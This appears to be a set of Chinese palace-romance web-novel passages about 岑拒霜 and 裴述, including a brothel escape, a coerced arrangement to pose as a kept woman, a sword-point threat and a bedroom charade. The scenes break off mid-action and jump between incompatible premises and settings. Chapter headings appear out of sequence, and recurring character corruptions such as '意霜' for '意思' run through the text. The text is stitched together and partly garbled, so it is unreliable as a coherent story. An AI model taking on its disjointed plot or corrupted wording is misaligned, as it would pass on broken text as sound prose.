“儿臣自然也不想让岑妹妹去和亲,然而赫连珏他点名只要岑拒霜,我也只是将他的信带回,请父皇来决断。” 裴述说得这些,周帝作为一国之主,如何不知?他站在窗前,看着上方不知何时涌动的黑云,神色晦暗不明。 大雨将至,空气中充盈着沉重的水汽,连气氛都粘稠了。 半晌,周帝幽幽道:“不能是其他公主?” 裴述静静地看着周帝的背影,道:“赫连珏信里面只说了要岑妹妹。” 周帝倏地转身,目光灼灼地盯着他,“你现在赶紧休书一封,告诉他我愿意与他和亲,只是,”他顿了顿,“他想要哪一个公主都行,但绝不能是岑拒霜。” “他是我大周战神的遗孤,我怎么将她嫁给他的杀父仇人!” 裴述看着他的神色 ,无声捏紧了袖中的拳头,淡淡道:“谨遵父皇之命。” 待裴述出了阁楼,周帝站在二楼注视着他的背影,冷声对着身后道:“等信写完,劫下来检查一下。” “是!” …… 杜衡进不了竹林,大雨将至,他只好拿着伞等在竹林旁边的亭台上,远远见着裴述的身影,赶紧上前迎去。 见裴述神色不对劲,他心里咯噔一响,连脚步也放缓了些,却不想被裴述一个眼刀扫过来。 他只好小跑着,还未站定,便听裴述吩咐道:“你去找礼部尚书,告诉他:九公主已到了适婚之龄,请他尽快给她安排合适的驸马。” 杜衡:“?” 殿下怎么还关心这种事情? 他眼里的好奇和惊讶太过明显,裴述皱着眉不耐烦道:“赶紧滚,记住:这件事别让任何人知道!” “哦。” 杜衡赶紧一溜烟跑了,走出二里地后才发现,给裴述准备的伞,依旧是攥在他的手里。 喔豁! 等他再返回,裴述早已没了影子。 而此时的裴述,正锁着眉一步一步地向落月宫走去。 自今天礼部尚书提到裴玄铭后,他就有些心神不宁,脑海里总是浮现那日他二人相互争执的场景。那是普通的不能再普通的的一天,连他都遗忘了两人争执的原因。 只记得,是因为岑拒霜。 那日,裴玄铭失足落水后,他站在湖边眼睁睁地看着他失去力气一点点沉下去,冰冷的湖水还泛着寒气,被裴玄铭打碎的冰面泛着刺眼的白光,逐渐盖住裴玄铭的头。 他想过去救,但是他不敢靠近桥边,即使桥到湖面这样的高度,都让恐高的他心惊胆战。 而裴玄铭的眼睛,自始至终都死死地盯着桥上的他,眼里的恨意犹如刀片,一刀刀砍向他,直到被湖水淹没。 那些早已尘封的往事,如一张陈旧的画布一般缓缓展开,那些本藏在其中龃龉和龌龊,一一浮现,不停地往裴述脑子里钻。 天边传来一声雷鸣,本来阳光明媚的天空已是彤云密布,而天色也越来越暗,一如裴述的心情。 不过片刻,他便找到了曾经荣极一时的落月宫。 容纳而如今落月宫却十分陈旧,裴述站在落月宫的大门前,注视着门上的“落月”二字,眼含几分嘲讽,几分嘲弄,细看之下,也有几分悲戚。 “落月”二字曾是当年周帝亲手所写,他曾多次在众人面前称赞瑶妃是天上之月神,因此她住的宫殿特意取了“落月”二字。 令人不快的记忆再次袭来,裴述站在落月宫门前,难得地迟疑了。 他来干什么呢?裴述觉得自己不可理喻,裴玄铭已经变成了一个傻子了,他怎么会脑子一热就跑到了落月宫。 他自嘲一笑,转身正准备离开,却听到身后的宫墙内,传来一阵银铃般的笑声。 这笑声极为悦耳,既不尖锐也不刺耳,充满了少女天真活泼的生气,如高山的山泉,泠泠作响。 裴述脚步一顿,诧异了。 还有如此大胆的宫女? 他摇摇头,心道自己太过敏感。提步正准备向前走,那道笑声却适时地再次响起。 这次的笑声离他更近了些,由此他听得越发清楚。风铃般的笑声之后,便是浅浅低吟,裴述听不清说的是什么,只觉得声音有些耳熟,像清风拂过。 他脚步再次被打断,然而转念之后,他便清除杂念继续朝前走,将落月宫抛之脑后。 然而,似乎天公也想要留住他,裴述刚走了两步,一声巨响在头顶炸开,如鸽子蛋般大的雨点便哗啦啦地打下来。 虽是夏季,但雷阵雨的雨点依旧冰的刺骨。裴述本不想停留,但被雨点淋了一阵后,昨夜被坚果引出的老毛病又忽地爆发了,腹部一阵翻江倒海。 裴述被迫停下脚步,忍着腹部钻心的疼,一手撑着墙,一手在身上找药。 然而,他忘了药在杜衡身上了。 疼痛感向野火燎原,烧得他意识迷糊。不知过了多久,他又听到刚刚那个熟悉的声音,只听她惊讶道:“咦?这里怎么还有人?” 裴述虚着眼,女子靠在门边,大雨如线如注,遮挡了她的面容,裴述只隐约看见了她似乎还住着拐杖。 半个时辰前,岑拒霜和裴欣悦来到落月宫,使出九牛二虎之力一阵哄,总算把前两天和她闹脾气的裴玄铭哄好了,正打算偷偷带他出去转转的时候,天空突然下起了大雨。 大雨来得突然,岑拒霜看着在落月宫门檐上筑巢的燕子来不及回窝,被雨水淋湿透了,根本飞不起来。 她只好和裴欣悦上去将燕子送回窝,这一抬头,恰巧见了一个男人背对着他们,扶着宫墙站着。 那人被大雨淋得悲惨,甚至已经支撑不了身体,只能靠着墙。岑拒霜看着有几分不忍,对一旁的裴欣悦道:“要不我们让他进来吧?” 裴欣悦白了她一眼,戳了戳她的脑袋,苦口婆心道:“我的小祖宗诶,你也不看看你是在哪里?要是他把你和裴玄铭那个小傻子的关系捅出去了,那你该怎么办?” 岑拒霜:“……” 不可置疑,裴欣悦说的话完全在理,然而岑拒霜看着那个摇摇欲坠的背影,一股无法言语的熟悉感笼上心头,她沉吟许久,轻轻道: “我的父母亲虽然去得早,但也曾教过我路见不平,出手相助。” 见裴欣悦恨铁不成钢地看着自己,她笑了笑,继续道:“再说了,我们既然让他进来避雨,也可以说咱们也是来避雨的呀。” “我就说是陪你出来转的时候,遇上大雨就好了。” 裴欣悦长叹了一口气,无语道:“小祖宗,真是怕了你了,走吧走吧,我给你撑伞。” 两人朝着裴述缓缓走去,离得越近,裴述和岑拒霜心中那股熟悉感越发强烈。 待走近时,岑拒霜愣住了,“太子……表哥?” 岑拒霜甫放下食盒在书案上,闻言,她慌忙抬起衣袖擦了擦自己的脸颊,却是将那脸上的灰痕越抹越脏,索性她也顾不得那么多,掀起食盒的盖,浓郁的香味扑鼻而来。 “我给殿下亲手熬了汤,要不要尝尝?” 太子没有作声,他懒懒地抬起眼皮看着她,似是对她熬的汤丝毫不感兴趣。 岑拒霜拿出食盒里的瓷碗,拈着汤勺分盛了两碗,“殿、殿下,我瞧你终日劳累,还送我那么多东西,所以趁着今日闲暇,跟尤珠学了学怎么熬汤。” 太子反问,“你不是回礼了么?” 岑拒霜一时不知该如何找补,她将盛好的汤端至太子跟前,“那……汤也做好了,就当宵夜了。” 她随意找了个小凳坐着,两手捧着自己那碗,当着他的面喝了一口,“殿下,这味道还不错,温度正合宜,趁热喝了吧。” 只见太子端起碗,碗口与他唇边持平。 第 58 章 “小骗子。” 白茫茫的热雾盈满了眼前视野,岑拒霜捏着瓷碗边缘,低下头小口抿着汤。 她偷偷盯着太子,紧张得手脚提不起力来,险些拿不稳小小的一碗汤。 只要太子饮下这碗带有蛊虫解药的汤,不消一时半刻,她和他之间的痛感关联便会消失,从此她便可放心离开东宫,与太子再无牵连。 岑拒霜能感受到自己胸腔里的心跳在逐步加速,盼了这么长时日的解药终是有了结果,她想她应是感到欣喜的,但似乎又隐隐有几分别样的意味在里面,她说不出来是何种意味,像是将要割舍某部分时的点点难过附着在心头。 她出神之时,忽的发觉太子的眼神不知何时发冷起来。 他竹节般的长长指节捻着碗口,在他将要喝下之时,却是蓦地转了方向。 春寒料峭,入夜的漕县下起滂沱大雨,寒意更甚,刺入肌骨。 雨夜萧瑟,往日人头攒动的枫桥巷只剩寥寥人影。巷如其名,两侧种枫香,护城河水横亘巷中,在狭长的巷子间架起一座青石桥。 青石被雨浸湿,几分深色。一把缁色竹骨绸伞丝毫不倾斜,平缓地出现在桥上。 执伞的是位靛衣小童,明明年纪不大,却板着一张娃娃脸,显得老气横秋。 伞下还有位穿着一袭月白色云纹袍衣袖领口镶绣银丝的郎君,腰间缀着一枚白玉佩,他身量高些,被伞沿遮住脸,只露出隽秀而完美的下颌。 “噼——啪——” 巷角处突然传来杂乱的脚步声,伴着石砖上累积的雨水迸溅而开的清脆。动静越来越大,向着青石桥而来。 桥拱之上,白衣郎君顿足。 小童也跟着立在原地,满眼防备地看向巷角,一只手已经向腰腹处伸去,随时准备抽出短剑。 一息,两息。 一个人影冲了出来,却不是刺客,而是个惊慌凌乱的女子。 那女子俨然被雨淋了许久,满发青丝如乌黑瀑布一般悬垂在半空中,斜斜插着一只金钗,被雨淋得完全看不出发髻样式。 她穿着一身露骨的绯红纱衣,在雨霖之中紧紧贴在身上,衬出姣好的女子曲线,玲珑有致。亦拓印出红得艳俗的小衣,更显妖娆媚态。 一看便知是从附近勾栏里逃出来的女子。 小童见状,立马偏过头去,心中默念非礼勿视。 岑拒霜赤着脚,满是血污。一路仓惶跑过,小腿以下遍布细长的刮痕,脚上尤甚。在她踩过的石砖上留下几缕血色,很快被雨水冲淡,最终晕散开。 疼,五脏六腑都好像被紧紧揪住,每次呼吸都似用刀狠狠刮过脖颈。 她吃力地跑着,顾不得脚上的红肿,清醒的霜绪在竭力的逃亡中变得发昏。只有一个信念支撑着她,不能停下。 不能停下,今日是她最后的机会。 若她被抓回去,必定清白不保。她宁愿自刎也不愿传出姜国公主在异国青楼被凌.辱的丑闻。 桥上的两人一伞映入岑拒霜眼帘,越发急促的喘息声以及迈不开的步伐提醒着她,已至绝路。 那两人是她最后的救命稻草。 天不随人愿。 岑拒霜刚踏上青石桥,就踩到一块凹凸不平的青石,雨中青苔格外强韧湿滑。 “啊——”,女子惊呼声响起,她狼狈地摔倒在地。 岑拒霜深呼吸,忍着右腿断裂般的疼痛,以匍匐在地上的不堪姿态,艰难地仰起头。在连绵的银丝之中,她看清了面前的郎君。 如墨发丝用玉冠束起,眉如墨画,其下是一清亮黑沉的眸,映着微薄月色,冰清玉粹,君子如玉,宛如神邸。 “救我……” 她的嗓子干涩得发疼,发出的声音沙哑异常,连她自己都吓了一跳。 甘霖顺着伞骨流下,汇成一大滴再落下,砸在了岑拒霜的鸦青的卷翘长睫之上,刺得她不自觉眯了下眼。 郎君垂眸,淡漠疏离地睨着地上衣不蔽体,楚楚可怜的岑拒霜,“凭什么?” 他的语气缓慢而温和,面容若神邸般清隽温润,说出的话却残忍至极。 一旁的小童闻言,同情地闭上了眼,殿下是不会随意发善心的。 一声闷雷在天穹之中突兀炸响,毫无防备,耳朵中传来阵阵轰鸣声。 嘈杂错乱的脚步声自远处传来,“她在那,快追!”凶狠的喊声穿过雨帘清晰入耳。 岑拒霜浑身颤抖,是青楼的打手追来了,这声音对她而言,无异于催命符。 郎君见状转身,准备带着小童一齐离去,不沾这杂污事。 岑拒霜倏地伸出纤细却满是青紫的手,用力抬高,紧紧攥住一角男子衣袍。她的手上混杂着沙砾和血污,染脏了干净的月白色。 郎君侧首,未言。 明明是宛如神邸一般的人物,眼中却没有一丝怜悯,充满袖手旁观的漠然。 岑拒霜忍着心中的惧怕,艰难吐出几个字,“求你……救救我,什么报答都可以……” 六个肌肉虬结的彪形大汉追了上来,已至桥下,看见这一幕想要上前,却被伞下人的气势所威慑,踌躇不前。 岑拒霜察觉身后的动静,望着公子的那双眼充满期盼。 生死关头,公主的矜贵自持被撕碎,她苦苦哀求着身前的公子,她自己都控制不住从嗓间溢出的零零碎碎的恳求话语,“求求你,只要救下我,我做什么、什么都可以……” “什么,都可以?”简短的话语被人仔细琢磨。 岑拒霜咽下嗓中的苦意,艰难应了一声,“对……” 雷声轰隆而下,天色煞白一瞬。一瞬之间,她看清了那个居高临下的男子眼中浓浓的嘲讽意味。 霎时,以往的自尊好似被人揉皱,丢掉,岑拒霜浑身发抖,不愿见这样的目光。 可身后人提醒她正处于绝境中,身前之人让她心中迟来的不堪似波涛般涌起。 她心中的弦绷得很紧,逐渐喘不过气,像是搁浅的鱼,一呼一吸都痛到极致。 连绵的雨丝不断,青石上逐渐蓄起了雨水,坑坑洼洼,或明或暗。雨水愈发大了,无伞遮蔽,砸得人睁不开眼。 岑拒霜费力,才能勉强眯着眼睛,她手上发皱,伤口被雨水浇得有些刺痛。 桥下的青楼打手已经失去了耐心,更何况,老鸨特意嘱咐过这个女子一定要带回去,不论生死。他们都举起手中的刀,试探性往前走了几步。 岑拒霜用力攥紧,扯了扯那一角男子衣袍,几乎肯定他不会出手,破罐子破摔,她威胁道:“若你不救我,以后……” 她顿了顿,没注意到裴述听到此处,才垂头仔细看她,亦好整以暇地等着她接下来的话。 “以后、我一定会……捉到、然后狠狠折磨你。” 裴述闻言笑了,“何名?” “伊伊……郑氏伊伊。” 他定眼看她,明明什么都没说,但那样的眼神就是怀疑。 岑拒霜又抬头,直视他,没有退缩,“没骗你……真的是,伊伊。”伊伊是她小名,郑从母姓,倒也没错。 打手逼近桥上之时,岑拒霜心中绝望,急得要哭出来了。裴述才开口,吐出两个字来,“救你。” 他话音刚落下,暗处又出来几人,三下两除二就解决了打手,留下一地哀嚎,就连反应快往回报信的打手也没能躲过。 裴述接过子弦手中的伞,独自立着。 而子弦冒着雨,将岑拒霜扶了起来,他和岑拒霜亲弟差不多大,让她倍感亲切,干哑地道了声,“多谢。” 雨势太大,子弦搀着岑拒霜,三人到了就近的破庙处,暂时避雨。 岑拒霜蜷缩在角落,靠在稻草堆上,她心中的弦松懈下来,已经过了最危险的时刻。 虽然这个郎君看起来不太好相处,但相由心生,能长成这个模样,又救了她,应当也算心善。 破庙外有人轻扣门,裴述带着子弦出去,应是他们自己人,外面迟迟没有动静。 老鸨天天虐待岑拒霜,她又困又饿,睡觉也不敢睡踏实,生怕睡梦中被人加害。 一朝获救,她身心俱疲。 等着、等着,还没人回来,她意识昏昏沉沉,倚着墙侧,渐渐睡熟了。 一墙之隔,风雨淹没了谈话声。 罗南是太子侍中,他浑身湿透,面色焦急,方才动用了暗卫,殿下踪迹泄露,大皇子已然知晓,原本客栈无法再住。 裴述却依旧平淡,静听着罗南的提议,“客栈被围,殿下万不可再归。宫中都知殿下失踪,更有传言……殿下已坠崖身亡,未防生乱,如今之计,殿下应当速速归京。” 子弦虽小,但幼时便开始跟着裴述,对此不是毫无所知,觉罗南的话有理,可还有忧虑,“回京的路,并不容易,大皇子定会在路上设伏,我们也联络不上京中人……” 罗南平常负责贴身保护裴述,他消息灵通,知身处漕县,他们的人不多,回京危险,却不是难事。 裴述却平淡道:“无碍,在漕县呆上几月罢,南下为赈灾,水灾已平,便不急了。” 罗南大惊失色,“殿下,那京中——” “由他们折腾罢,左右……也不会更糟。”即使身处险境,裴述似乎也并不在意。 主子不急,下面的人却忧心得不行,尤其是罗南。他出身贵族,罗氏已与太子一派紧紧联系起来,他阿姊与裴述定下婚约,他身为近臣,更怕裴述落败。 但细细想来,也确实如此。陛下不喜太子,甚至……纵冯后和大皇子打压殿下,另立储君之兆明显。 若不是殿下在民间声望极好,比那个性情乖僻、下手毒辣的大皇子好上许多。这太子之位,恐怕早就换人来坐了。 恐怕,他们太子一派最后也要造反的。如今确实……不必太在意京中。 既如此,身为殿下亲近的郎官,罗南尽职地提出在漕县安稳躲避风头的法子,“殿下届时可扮做高家郎君,暂居民巷。高家经商,其子经常四处游历,殿下略加掩饰,躲过县衙盘查便可,等赈灾一事彻底结束,方可回京。” 裴述颔首:“善。” “可……”罗南说完就有些后悔,对不起阿姊,但如今也没有别的法子,见裴述又望过来,他心虚道:“这高家郎君……风流名声在外,每到一处,就要置上一房,千娇百媚的外室。” 高郎有情又无情,处处添香,美事一桩。 裴述:“……” 身边人皆知太子向来避着女子走,若遇人投怀送抱,掩饰得再好,他眉眼间的厌恶也遮盖不住。京中甚至有传言太子好男风才迟迟不成婚,是唯一有损太子声望的事。 不敢直对裴述发凉的视线,当初也是罗南粗心,没想到殿下踪迹会泄露得如此快。 暂时寻不到旁的法子,方才听下面的人仔细讲高家,他才知道这回事,支支吾吾道:“不想惹人怀疑,殿下也需添上一房……” “假的也可!”罗南赶紧替自己找补,得了子弦一个“这用你说”的眼神,但如今重要的是,“……殿下,咱们上哪儿去寻个女子啊?” 几人齐齐沉默。子弦回头,往向庙里看了一眼。 这倒是,正好有一个。 还是殿下发善心救的,为此动用藏匿的暗卫,不幸暴露了踪迹。 “女娘,女娘——” 稚嫩的少年声音响起,岑拒霜几分清醒,却仍不愿醒来。 她希望这都是一场梦魇,被丢进青楼,逃出来又被羞辱都是假的。一睁眼,她又能回到姜国寝殿。 “既叫不醒,就将她丢出去。” 清透的男子声线,说话语气亦是平淡,却遮不住几丝嫌恶,让岑拒霜一瞬惊醒,她睫毛扇动,睁开了眼。 静谧漆黑的夜,破庙外冷风嚎叫,扯动庙前的布帛。身后靠着冷硬的墙壁,稻草堆旁的岑拒霜认清处境,她缩成一团,扯了扯勉强避体的衣裳,盖严自己。 她抬眼,郎君站在庙中,他衣衫单薄,即使身处破败腐朽中,因着一路逃亡衣摆处染尘,却仍身姿挺直,芝兰玉树。 长得确实很合岑拒霜心意,差点就晃了她的眼。但态度太差,也不好惹,她连忙垂头。 相比之下,小童看起来就很顺眼了,岑拒霜移开目光,动了动干涩的唇,“有水吗?” 子弦才十三岁,半大少年,还很有同情心,抱歉地看了一眼岑拒霜,“女娘,逃了一路,水囊全洒了。” 岑拒霜点点头,可喉间实在干渴,她又问了,“什么时候才能有水?” 比子弦更先说话的是裴述,他转过头,看着岑拒霜,“寄人篱下,就不要过多要求。” 裴述又往前走了几步,掀开眼帘看着岑拒霜,将她往后退的动作收进眼底,没在意,只道:“因救你之故,泄露踪迹,连累我二人逃亡。” “那……你本来就被人追着,也不能全怪我吧?”岑拒霜逃出来,放松心弦,也没了方才低声下气的模样,牙尖嘴利地小声反驳着。 破庙狭小,她声音飘在空中,那边两人全听清了。 裴述:“……” 子弦瞅瞅那边可怜巴巴,却倔强的岑拒霜,又看看身前面容冷硬的裴述。不好劝架,两人说的都有道理。 事已至此,裴述问:“家住何方?” 岑拒霜不想回答,但人在屋檐下,不得不低头,她缓缓道:“家在南边小镇,被……阿父的妾室卖了,不知所处何地,如今想离开……往东南地界走。” “假话,你犹豫了。”裴述断言。 “没有!”岑拒霜再次直视他,虽然这人气场很有威慑力,但她是公主,不会被人吓怕。 裴述未再言语,她算是过了这关。 岑拒霜丝毫不心虚,她要回国,姜国国都宛地就在东南面,也没错。 “喂——”她也不怕裴述,“你呢?” 裴述望了她许久,子弦胆战心惊,生怕下一秒殿下就要让他把这个女娘拖出去。 “高君安。”他开口。 明显是骗人的,但岑拒霜也不好戳破他的谎言,只能再次垂头,抱紧双腿企图抵御风寒。 这俩气氛剑拔弩张,子弦出声,“女娘。” 岑拒霜抬头,子弦瞅了眼裴述,见其根本没有解释的心霜,子弦提议得心虚且艰难:“我们郎君,还缺个外室,不然……女娘报救命之恩,替上?” 殿下没编个由头,为了避免麻烦,也是不信任这个女娘,万一她在外说漏了嘴,就全完了,所以子弦只能如此说。 “外室?”岑拒霜不敢置信,她一个公主,举国郎君随意挑选,世家贵族皆争抢入她眼,如今要给人做无名无分的外室。 她坚定道:“我不同意。” 子弦为难,“女娘……” 岑拒霜仰头,理直气壮,“无名无分,你们置女子名节于何地?更何况……”,她气愤地扭过头,“挟恩图报,非君子之举。” 裴述黑眸停在岑拒霜脸上,女子面有薄土,几分凌乱却坚定,他启唇:“要么同意,要么死。” 明明白白的威胁话语,岑拒霜厌烦被人胁迫。她已被囚禁半月,羞辱偷生,被教导了许多腌臜东西,和原本的生活大相径庭,如今又被如此折辱。 岑拒霜突然爆发,她站起身来,向裴述大步走去,不服输道:“那你杀了我算了!” 她不相信,都费力将她救了回来,他还能下得去手杀她。干脆让将她丢在这里好了!躲着后面的人,她也能逃回国。 天色煞白一瞬,透过腐朽只余半扇的窗棂,整个破庙都被晃得彻亮。 伴着轰隆雷声,剑出鞘的刺耳声响被掩盖住,锋利的剑刃紧紧贴在女子纤细的脖颈上。 剑带来的凉意不起眼,但在死亡边缘游离的感觉让岑拒霜忍不住颤栗。 对面持剑之人手上用力几分,淡漠道:“如你所愿。” 岑拒霜从侯府启程去沥城当日,皇宫里派来了护送她的侍卫。 她觉着这些侍卫有些面熟,但一时又想不起来在何处见过,思及许是自己在皇宫瞎晃的时候见过的,并没多想。护送她的侍卫们皆身着朴素,并未招摇,她的马车看起来也只是某官宦人家出远门的模样。 叔父千叮咛万嘱咐,把她送至了京城城门,才勒马扬鞭,转头回府。 出了京郊,马车摇摇晃晃地行在大路上,急速行驶的马蹄嗒嗒嗒踏过,尘土高高扬起。 岑拒霜倚在车厢里,闭目养神,流岚亦侍奉在了左右。 忽的马儿嘶鸣不已,车身颠簸起来,岑拒霜猝不及防,纤弱的指节抓了个空,额头撞在车缘处,她忍不住痛呼了一声。 流岚稳住身形后,一面急着瞧岑拒霜的伤势,一面对外怒喝着,“怎么行车的?把我们家姑娘都撞疼了。” 马夫在外禀道:“姑娘,是有人在半道拦车,我且去看看。” 岑拒霜揉着发疼的额头,依稀听着车厢外似乎起了争执,吵闹不已。 喋喋不休的喧嚷声里,她听闻对方振振有词。 “是你们家的马撞到了我们公子的车,你们不赔礼道歉便罢了,怎的还要我们认错?” 岑拒霜撇开流岚的手,掀起帷裳探出脑袋,“发生什么事了?” 马夫愤愤不平地向她说着,“姑娘,我们的车好生行在半路上,他们直冲冲地迎面而来,险些撞上咱们的车,这会儿非说是咱们的过错。” 岑拒霜挪眼看去,天光乍泄之处,对面的车厢里坐了一个高大的影子,翩飞的帷裳勾勒出那熟悉的侧脸轮廓。 第 59 章 死缠 夏日磨人的燥热吹拂着面庞。 岑拒霜顶着难耐的炎热,拈起帷裳,探头而出,对着跟前的马车左瞧右看,那车身除了沾却了泥尘点点,崭新得都快发亮了,丝毫瞧不出相撞或是磕碰的痕迹。 她紧紧盯着对面那道影子的轮廓,放声说道:“我瞧着这位公子的马车也未损毁,何必纠缠着人不放呢?” “哦?” 对面车厢的帷裳掀起一角,指节捻着那边缘缓缓揭起,却是顿在了他棱骨分明的下颌处,帷裳阻绝了她的视野,掩住了男人往上的面容,只见薄且好看的唇角往上微微勾起。 “姑娘的意思是,某无理取闹?” 这声线压得刻意,虽说音色清冽如涧鸣,但岑拒霜一听便知非是他本音,只怕是在有意掩饰什么。 岑拒霜不着痕迹地挪着视线,想要顺着那帷裳露出的下颌探得其里,偏是如此,男人捂得越发严实,她难以窥得更多。 想清后,岑拒霜简直是坐立难安,回想起裴述态度的变化,确实比一开始对她好了太多。 无心去吃,但这鱼糜粥炖得确实不错,往日只能吃上一碗的岑拒霜,今日断断续续吃了两碗,吃完便溜了回去。 过了一会儿,听着裴述回来的脚步声,岑拒霜心中想起了试探两字,可到底该如何试探? 她的手按在有些硬的床榻上,不自觉便回想起了白日里赵孺女儿的闺房,那么宽敞。 虽然底气不足,但为了试探,岑拒霜鼓起勇气,站起来,绕过了屏风,走到了内室的门口。 裴述当然注意到她的动作,他方走到内室中间,闻声回头,看着犹犹豫豫,欲语还休的岑拒霜,挑眉问道:“有事?” 岑拒霜有些紧张得攥着袖子,但在心中坚定试探的想法,她可是公主,为何要怕他?所以稍仰着头,但并没直视裴述,视线略有飘移,她心虚道:“那个,我想住里面。” 裴述回想起昨晚她对他的避之不及,为了推脱,孩子好不好看这事都被扯出来了,他十分好奇她怎么一下就变了主意。 还未等他发问,岑拒霜就又接着说:“这床太小了,两人不大舒服,所以……” 那她的意霜便是,让他出去,她住在里面。 裴述不知她的胆子怎么这样大,但此女一向不知天高地厚,他也没有太过吃惊,只觉好笑,反问道:“那你……想让我出去睡?” 反正说出去的话也收不回来了,都已经决定试探,就不能半途而废,岑拒霜坚定地点点头,同时道:“没错。” 此刻,她心中还想着,一定是误会,给她盖被是因为他体热不需要,熬粥是他自己喜欢喝。 他这么小心眼,当初因为床都能与她吵,定然不会同意让床给她的。他拒绝倒好,起码证明他和从前没什么两样。 但她说完,裴述都没霜索,甚至连原因都没问,直接颔首,笑着说:“好啊。” 岑拒霜不可控制地睁大眼睛看着他,他竟然答应得这么轻易!? “但也有条件……”裴述看着她说:“你备一顿膳。” 岑拒霜:“……”当真是小心眼,他准备了一顿,便也想让她也做一顿。虽然答应了,但还有要求,当初她可是说了她根本就不会做。 如今他这样说,莫不是明知她不会,故意刁难?也好显得他仁善一些,对女子谦让,不是他拒绝,而是她没做到? “嗯?”岑拒霜一声惊呼,完全没想到他来真的。 美人榻就在床的一侧,在她还没反应过来的时候就被扔到了床上,岑拒霜的下一声惊呼就湮没下去。 这个狗男人! 床上没了褥子,他直接将她扔上去,和被扔到地上,没有任何区别,她痛得咬牙切齿,伸手揉了揉自己的腰。 心中愤恨不已,等她回国以后,派人来杀那个姓冯的杂种时,一定要顺带教训他一顿,让他知道随意欺辱一个公主的下场! 可还未等她畅想完,身上就压了个人,以后事岑拒霜都想不起来了,此刻连装都忘记装了,双眸不可抑制地睁大,眸中倒映出来裴述的面容。 他、他来的真的啊!? 是女子下意识的直觉,岑拒霜觉得有些危险,理智仍在,她紧张地咽了咽,大气都不敢喘。他明明不喜女子,如此突然,她张开口,试探地小声道:“……郎君?” 裴述捂住她的嘴,随后俯身,在她耳边说:“有人蹲在窗前,听着里面的动静。” 原来是为了应付别人,不是真的要和她一起睡。 岑拒霜霎时放心,呼出一口气来,但随即整颗心又高高提起。他的手还在她嘴上,她方才的动作,像是故意往他手心吹气,似乎是在有意引诱! 裴述面色也有几分僵硬,默默将手拿开了,再看岑拒霜的眼神,也带着几分怪异。 难不成,她是真的心悦他?所以才会遇到机会便这般……勾引他。 若真的如此,他确实缺个小夫人,裴盈已经儿女双全,他也需要有个后嗣。 若生母是她,虽然有点笨,但好像也不错…… “郎君……”岑拒霜出声,想要解释一番,可她刚鼓起勇气唤出一声郎君,裴述又轻声,“叫几声。” 岑拒霜:“?” 她没懂,但知晓如果有人在窗下听的话,不适合说话,所以疑惑地看着裴述。 他也顿了一下,神色不太自然,接着说:“你在青楼呆过几日,没听到过么?” 原本还不知晓,但听到青楼二字,岑拒霜瞬间就想到了他在说什么,也回想起了她被关在青楼的时日。 老鸨并不知道她的身份,只以为她是碍了后母的眼,被送来的贵族女娘,对她严加看管。 她被关在一个狭小的房间内,旁边就是花魁们接客的地方,污言秽语还有各种动静自然听到过不少,回想起那些声音,岑拒霜十分嫌恶。 同时深觉裴述就是在侮辱她,她气愤地扭过头去,不直视裴述的眼,坚定地吐出三个字来,“我不会。” 裴述:“……” 窗外有轻轻的脚步声,此刻两人都没说话,都听清了声响,岑拒霜也知道应当做戏给外面看。 但这就是折辱,所以她并没应答,为了不被压迫着屈辱答应,一直侧着头。 裴述垂眸,看着她纤细的脖颈,如白玉,仔细能看清皮下骨肉,美丽而脆弱,仿若轻轻一折,便会碎掉。 隐隐约约的痒。 上方有他幽幽的声音传来,“真不会?” 岑拒霜将头扭得更偏,非常坚决,她才不会做如此有辱身份的事。 下一瞬,她脖侧有温热的气息凑近,是裴述直接倾身过来了,还未等她察觉他到底要做什么,极薄的皮肉被齿叼起,引起一阵颤栗酥麻。 轻微的痛意,但更多的是陌生感,岑拒霜下意识就“啊”了一声,轻轻的、娇娇的。 ……他竟然咬她! 岑拒霜喊完,立刻便反应过来,他咬她,他竟然敢咬她的脖子,而且方才她的声音……当真是羞耻至极。 裴述从她脖侧抬头,准备起身离开,“就这样。” 岑拒霜连羞带气,她一个公主被折辱至此,一时连人在屋檐下都忘记了,抬起脚便往他身上踢。 裴述自幼习武,反应当然快,半起的身子被迫停下,跪坐在床尾,伸手便握住了她的脚踝。 他蹙眉望她,不知她为何突然如此。 岑拒霜知外面有人,虽然不说话却压不住满腔的愤怒,又抬起另外一只脚,狠狠地往他身上踢,但也被握住了。 她恼怒,脚用不上还有手,挣扎撕扯着,又起身抬起手去打他。 裴述不知缘由,也只下意识去拦,但手都用完了,只得用腿压住她的脚,随后伸出胳膊去捉她的手。 如此闹腾,两人一下全都倒在了床上,裴述又压在了她身上,刻意压制着声音,“郑伊伊,你做什么?” 将近夏,两人都着寝衣,本就单薄,此刻来回拉扯,都弄得松松垮垮,尤其是岑拒霜,被气得呼吸急促,胸前剧烈起伏着。 裴述视线向下,偶然又瞥见了那一点红,方才宴上,那红痣隐于衣衫下,如今完全显露出,于白皙的锁骨下沿,微起的弧度前,偏右处。 岑拒霜想要骂他,却突然停下,整个人愣住,察觉到了异样。她亦往下望,见自己衣衫松开,小衣都露了出来,而裴述正盯着她胸前看,还有,她腿侧…… 她猛然便伸手推他胸膛,将他推倒在床侧,紧接着又拿腿去用力蹬他。 裴述确有愣神,躲避不及也未躲,岑拒霜用得力气也大,一时不察,他从床侧滚了下去,亦是重重的落在地上,一声闷哼响起。 岑拒霜连忙坐起来,之后抱起被子,挡住自己胸前。纵使从前不谙世事,但在青楼呆了半月,该看的,不该看的都见到了。 虽然方才很是胆大,但此刻她看着站起来的裴述,他那晦暗不明的神色,莫名阴郁,她深觉不妙。 往日他都能威胁着要杀掉她,如今被她踹下床,这样丢脸,岂不会直接杀了她? 她开始后知后觉地害怕起来。 而裴述见她眼中泛起的雾气,微微往下撇的嘴角,如此熟悉的举动,他便知道,她又要开始哭了。 他如今不想听她哭,不论真情还是假意,在她哭声出来前,他伸手掐住了她的脸,他的手足够大,拇指和食指分别按在她脸颊两旁。 裴述垂头仔细瞧她,她额头间还有个微不可查的小红印子,是方才宴席之上,他弹的那个脑瓜崩。 岑拒霜不知他要做什么,她的嘴被掐着,哭不出声,只能愣愣地看着他。他都上手了,会不会直接掐死她?说不定,杀之前还会拿她泄欲。 气氛一片寂寥,安静到能听见对方的呼吸声,她不敢动作,只能睁着水雾盈盈的眼,尽量可怜兮兮地看着裴述。 沉默许久,他抿了抿嘴角,像是忍不住般,突兀地轻笑出声。 如今一听他这似笑非笑的声音,岑拒霜便有些别扭,匆忙应付了一句,“让我考虑考虑哈。” 说完,她便忙着往外跑,甚至出内室,还被脚下的门槛绊了一下,差点就摔在地上。 岑拒霜甚觉丢脸,他说不定会在后面笑话她笨,脸上红红的回了屏风后面。 